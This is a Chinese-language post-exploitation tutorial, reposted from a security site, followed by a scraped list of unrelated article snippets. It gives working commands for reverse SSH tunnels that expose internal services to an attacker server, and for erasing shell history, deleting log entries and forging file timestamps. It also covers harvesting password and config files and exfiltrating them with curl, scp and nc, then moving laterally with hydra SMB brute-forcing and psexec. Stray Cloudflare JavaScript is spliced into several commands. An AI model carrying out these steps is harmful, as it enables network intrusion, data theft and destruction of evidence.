各种环境下的渗透测试
转载来源:http://drops.wooyun.org/tips/411
getshell:
找到切入点后,首先是要弹个shell,一般我用back.py
配合nc使用,nc监听端口就不说了。
back.py会自动去掉各种history记录,确保shell断掉的时候不会被记录到bash_history里面
ssh各种姿势
反弹内网端口:
ssh有几个比较重要的参数:
-f: 连接成功后切换到后台,不会占用当前的shell,shell断了也会继续执行,相当于 nohup和&。 -N: 连接后不调用shell,用处后面讲。 -R:把本地网络(可以是本机或者任何内网甚至外网端口)端口反弹到ssh服务器
用法:
首先你要有个外网ip的ssh服务器,如果目标内网限制了访问端口,可以开到常见端口比如80或者443上面,可以直接改设置或者iptables映射一下。你需要有这个服务器的root权限。在sshd_config里面打开端口转发, AllowTcpForwarding yes 还有 Gateway Ports,如果之前没开的话改完需要重启一下sshd。
另外就是因为反弹端口需要让目标机器登录到你的ssh服务器,为了安全起见需要建立一个专门用来端口转发的用户,useradd随便建个用户,设置密码然后到/etc/passwd里面,把最后一个':'后面的shell位置改成/sbin/nologin或者/bin/false,这样即使对方记录了你的ssh密码也没法对你转发的服务器做什么(比如取证之类)
-N的作用:
因为转发用的用户没有shell,如果没有-N的话会因为得不到shell而自动断开连接,-N可以避免这一点。
开始转发:
ssh -fNR 要反弹到的端口:目标本机或者内外ip:要反弹的目标端口 转发专用用户名@你的ssh服务器ip 执行后会问你转发用户名的密码,输入成功后会自动切换到后台
例子1:
本地转发: 目标机器上有个oracle端口在1521,但是只能从内网访问。提权提不上,没装sqlplus等工具,webshell数据库管理各种出错,不过翻到了登录用户名和密码。不过我自己的机器上装了个navicat for oracle⋯⋯ ssh服务器上的端口转发用户名叫forward,服务器ip是123.123.123.123
ssh -fNR 11521:127.0.0.1:1521 forward@123.123.123.123 /* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */
注意:之所以开到11521端口是因为<1024的端口需要root权限才能占用,另外注意你反弹到服务器的端口不能被iptables之类的挡住,不然你没法从外网访问(废话么)
反弹成功后,打开navicat,新建个连接,ip输入123.123.123.123,端口输入11521,然后用户名和密码,啪啪啪⋯⋯连上了
例子2:
内网ip转发: 除了能转发localhost,还能转发内网其他ip的端口,甚至在不同网段都行,只要能从内网的已沦陷机器访问到就行。比如内网有个windows服务器,ip 192.168.5.10, 开了3389端口,不过也只能在内网访问⋯⋯
ssh -fNR 13389:192.168.5.10:3389 forward@123.123.123.123 /* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */
反弹成功后mstsc连123.123.123.123:13389即可⋯⋯
ssh转发端口是可以多开的,就是要注意转发到你服务器的端口不要重了。
用完之后记得关掉:
ps aux|grep ssh
在进程里可以看到ssh的转发命令,把pid kill了就行。另外也可以在ssh服务器端kill,
netstat -anp|grep sshd
ssh的时候会记录known_hosts,所以最后擦屁股的时候记得到开ssh的用户名的home文件夹 .ssh里面把known_hosts清掉
ssh反弹socks5方法
如果用ssh自带的socks5服务器的话,需要一个能在本地登录的帐号,可以是nologin的,但是必须要能登录,如果不是root的话,socks端口只能开到>1024的端口。原理是先在本地开socks5,然后把本地socks5服务器的端口弹到远程服务器。
姿势:
ssh -fND 127.0.0.1:8080 user@127.0.0.1 /* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */
这样会在本地8080端口开socks5代理,然后反弹
ssh -fNR 18080:127.0.0.1:8080 forward@123.123.123.123 /* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */
这样可以把socks5代理弹到123.123.123.123的18080端口,可以用proxychains和其他支持socks5代理的工具最大限度的窥探内网
Linux下隐藏痕迹
通过其他方式得到shell的话,需要去掉histfile等环境变量:
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null;
登录ssh后管理员用w查看当前登录用户,所以有必要隐藏,推荐xi4oyu的logtamper
清除日志里指定内容:
日志必须是文本格式,而且你有权限读写⋯⋯
awk '!/pattern/' filename > temp && mv temp filename
这个原理说白了就是去掉原文件里的指定内容然后生成新文件,再用新的覆盖旧的,弄完记得用chmod还原原来的属性. 例子:
awk '!/123.123.123.123/' /var/log/httpd/access_log > temp && mv temp /var/log/httpd/access_log
去掉所有包含123.123.123.123的日志记录。 可以匹配多个关键词:
awk '!/123.123.123.123|111.111.111.111|phpspy.php/' /var/log/httpd/access_log > temp && mv temp /var/log/httpd/access_log
修改文件访问|创建|修改时间:
touch -amt 200901231532 文件名
改成2009年1月23号15点32分
批量修改时间:
比如你在一个文件夹改了很多php插了一堆一句话:
ls|xargs touch -amt 200901231532
把当前目录所有文件时间都改了
信息搜集:
find / ! -path "/usr/share/*" -regex ".*.sh$|.*.pl$|.*.py$|.*.conf$|.*.cnf$|.*.ini$|.*\/..*history$|.*\/..*pass.*$|.*secret$" -print|zip pack.zip -@
打包各种脚本和配置文件还有history日志。 有的环境下zip需要一些参数才能用,请自行修改
在/var/www搜集全部 conf.php然后打包
find /var/www -name '*conf*.php' -print | zip config.zip -@
找包含特定内容的文件并且那一行显示出来:
grep -RPa --include=*.php ’($PATTERNS)‘ $SEARCH_DIR
比如在web目录找包含password这个词的所有php
grep -RPa --include=*.php 'password' /var/www
pattern可以用正则,可以不指定文件类型(很慢⋯⋯)
文件传送:
找到需要的东西后,怎么往外发也是个问题,一般大文件用ftp,scp,小文件用nc。
ftp方法:
如果目标装了curl的话就很简单了
curl -v -T 文件名 ftp://username:password@ftpip
scp方法:
适合有ids之类东西的地方,可以把sshd开到443等传统加密流量的接口,scp帐号需要有写入和执行shell的权限
scp backup.tgz user@123.123.123.123 /* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */:/tmp/backup.tgz
nc方法:
先在服务端监听
nc -l port > 文件名
然后到要发送文件的服务器
nc 服务端ip 端口 < 文件名
发送小文件还行,大文件有时候会断。
从linux到windows
有些时候你拿了linux服务器的shell,想跨到windows的机器上,基本就是通过两个手段,一个是针对windows的服务进行exploit溢出,还有就是利用在linux上搜集的用户名和密码然后通过psexec放shell。
首先要确定windows主机的位置和打开的服务,在内网扫开445和3389的机器,基本是windows了,扫的时候要注意,不管用什么工具,尽量用socket connect的方式扫。像SYN 方式扫描如果内网有ids之类肯定会被发现,connect方式扫描相对来说和正常连接差不多。 扫到windows机器列表后,准备好刚才在linux下收集的各种用户名和密码,还有一些常见的弱密码,生成密码字典和用户名字典,字典里再加上一些windows本身的用户名,比如administrator。 尝试密码的话直接在linux下用hydra,破解smb密码,运气好的话,只要扫出一个,就能用psexec getshell了。运气不好就剩下溢出这一条路了。如果溢出都不行,windows主机和linux在同一个网段的话,还可以试试通过arp spoof抓smb认证包,然后把hash弄出来破解或者注入hash,但是动静会比较大,不到最后不建议使用。
psexec:
有几种选择,metasploit里面auxiliary里面的psexec模块,可以直接放个msf的reverse paylaod上去。另外可以把windows的服务器的445端口反弹出来,再找个windows的机器用psexec。还有就是直接在内网的linux机器上用python的psexec,https://code.google.com/p/impacket/
转载于:https://www.cnblogs.com/BuildingHome/p/4616515.html
各种环境下的渗透测试相关推荐
- 如何使用ADLab搭建活动目录实验环境来练习渗透测试技术
关于ADLab PowerShell模块 ADLab是一个功能强大的PowerShell模块,该工具可以自动化实现一个活动目录实验环境,以帮助广大研究人员更好地学习和研究内部网络环境内的渗透测试技术. ...
- java用户的授权及验证_Java环境下shiro的测试-认证与授权
Java环境下shiro的测试 1.导入依赖的核心jar包 org.apache.shiro shiro-core 1.3.2 2.认证程序 2.1 构建users配置文件 xxx.ini doGet ...
- 接口文档下的渗透测试(Swagger)
接口文档背景 随着前后端分离架构的优势越来越明显,前后端分离的应用场景也越来越广,如今前后端分离已成为互联网项目开发的业界标准使用方式,而为了前后端程序员在实际开发中能够有统一的接口文档去调试,因此也 ...
- 一个测试人员,在现阶段的环境下如何在测试行业发展和自我价值。
前言 周末和几个测试圈子里的大佬饭局上聊了一些职场和测试职业发展相关的话题,我将聊天的内容做了整理和阐述. .朋友圈有测试同学对这篇文章提了比较深刻的建议,下面是他的评价和建议: 评价: 据说是大佬饭 ...
- ubuntu环境下搭建Ethereum测试私链及JSON-RPC合约交互
区块链,随着bitcoin的出现已经风靡全球,不管你信不信,这种去中心化运营的创新方式正在全球掀起一场技术革命! 国泉能想象出那些站在风口上的人,猪都能被吹的飞起来,这也让我学到了什么是顺势而为. - ...
- linux搭建测试环境常见问题,在Linux环境下搭建CCID测试环境
1.安装CCID步骤:(本文使用平台为CentOS-6.2) a)安装liubudev-devel rpm包,libudev-devel必须安装,否则在配置pcsc-lite的时候,会有错误提示.可安 ...
- 在Linux环境下搭建CCID测试环境
1.安装CCID步骤:(本文使用平台为CentOS-6.2) a)安装liubudev-devel rpm包,libudev-devel必须安装,否则在配置pcsc-lite的时候,会有错误提示.可安 ...
- ccid linux,在Linux环境下搭建CCID测试环境
1. 安装CCID步骤:(本文使用平台为CentOS-6.2) a) 安装liubudev-devel rpm包,libudev-devel必须安装,否则在配置pcsc-lite的时候,会有错误提示. ...
- windows环境下smtp邮件测试
一.windows开启telnet服务 windows默认没有打开telnet服务,需要手动打开,步骤如下 操作步骤: 1)进入控制面板 2)点击程序,打开"程序和功能"下的&qu ...
最新文章
- 预处理_不锈钢锻件预处理的必要性
- 《《python基础》》
- java 设置文本颜色_在Java中更改文本的颜色
- codeforces 1136E-Nastya Hasn't Written a Legend
- 学习思考 耐得寂寞 拥得繁华
- 田渊栋:业余做研究的经验
- Storm精华问答 | storm与Hadoop有什么区别?
- [CareerCup] 4.1 Balanced Binary Tree 平衡二叉树
- python3.7.4怎么运行_记一次win7在python3.7.4环境启动ride报错解决
- 一道企业shell编程实战题-看看谁能快速搞定
- 蓝桥杯---2012--比酒量(暴力)
- inventory tool for Microsoft Uplates简介
- C# 时时监听目录文件改动
- Android类加载器和热修复原理
- PROSAIL模型前向模拟与植被参数遥感提取代码实践
- VM虚拟机浏览器替代软件-VMLogin虚拟多登指纹浏览器,超级浏览器,防关联浏览器
- 语音处理:音频信号采样点白化方法初探
- 南京工资个税计算机,南京个税计算器_南京税后月薪|工资计算器_南京个人所得税查询 - Tax518...
- 使用labelme标记图片、json批量转dataset的解决方案以及一些问题解决方案
- python十进制转换其他进制直到输入q结束,python二进制转换,python将十进制转为二进制,题目描述:输入一个整...
热门文章
- miui12怎么自定义开机动画_MIUI12正式官宣,5天后发布!网友:发布是发布,12月才能更新?...
- 基于matlab的状态反馈与极点配置
- linux7做服务器,centos7 搭建yum服务器
- java+log日志服务器_Logserver日志服务器结构
- java执行python路径_java调用其它语言脚本(python、js)
- gin redis 链接不上_自然的风味,GIN 在杯中
- 这些元器件基础知识都不懂,怎么混电子圈!
- java arcgis server_ArcGIS Server Java 开发实战---自定义command
- 基于MATLAB的摩尔斯电码系统设计
- pythonrequest得替代_Python爬虫通过替换http request header来欺骗浏览器实现登录功能...